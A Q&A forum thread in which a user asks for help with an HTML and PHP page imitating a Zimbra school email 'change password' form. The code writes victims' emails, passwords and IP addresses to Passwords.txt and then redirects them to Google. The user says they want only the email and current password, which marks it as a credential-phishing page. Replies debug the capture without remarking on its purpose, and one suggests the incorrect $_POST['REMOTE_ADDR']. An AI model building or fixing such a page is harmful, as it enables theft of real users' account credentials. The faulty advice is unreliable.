保存用户信息表格PHP HTM [关闭]
I'm trying to do a form that when the user types the info and then submits it saves it on a text file. But when I open the text file, it only displays the IP adress.... I can't figure out what I'm doing wrong with my code:
I already tried changing §_SERVER to $_POST but it doens't work
Thanks :)
HTML:
<form action="login.php" id="login.php" method="get">
<div class="imgcontainer">
<img src="zimbra.png" alt="Avatar" class="avatar">
</div>
<div class="bodypage">
<div class="font">
<div class="container">
<label>EEB2 Zimbra Email</label>
<input type="text" placeholder="Enter Email" name="email" id="email" required>
<label>Password</label>
<input type="password" placeholder="Enter Password" name="psw" id="psw" required>
<label>New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">
<label>Confirm New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
</div>
<a href="google.com"><button type="submit">Change Password</button></a>
</div>
</form>
PHP:
<?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];
$psw = $_SERVER['psw'];
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>
EDIT: I'm not trying to get the new password, just the Email and the password.
Your method is $_GET so it would be $_GET['email']
There's no such thing as $_SERVER['email'], $_SERVER['psw'], etc. This is documented here.
Assuming that they have "name" attributes in the HTML form (which I can't, for some reason, see at Dropbox), you should find these values at $_POST['psw'], $_POST['email'], etc.
And I would add that you should use filter_input or some other mechanism to test these values before you put them onto your filesystem.
First if you are trying to save credentials(like passwords) you should not use method "GET" as in your code. Because when the form is submitted, as you have used GET method all the credentials will be shown on the URL. So it will be a security issue. Most developers prefer POST method over GET for form data handling.
As it says on W3schools "$_SERVER is a PHP super global variable which holds information about headers, paths, and script locations."
Using POST method
Try Changing to this.(Use "$_POST[]" method just to capture the data you're trying to POST from the web Form. So this will work for you.
$ip = $_POST['REMOTE_ADDR']; $email = $_POST['email'];
In order this to work for you you should change
USING GET method
But if you still would like to stick with the GET method you can simply change only these to $_GET['']
$ip = $_GET['REMOTE_ADDR']; $email = $_GET['email'];
Hope that would help you! :D Good Luck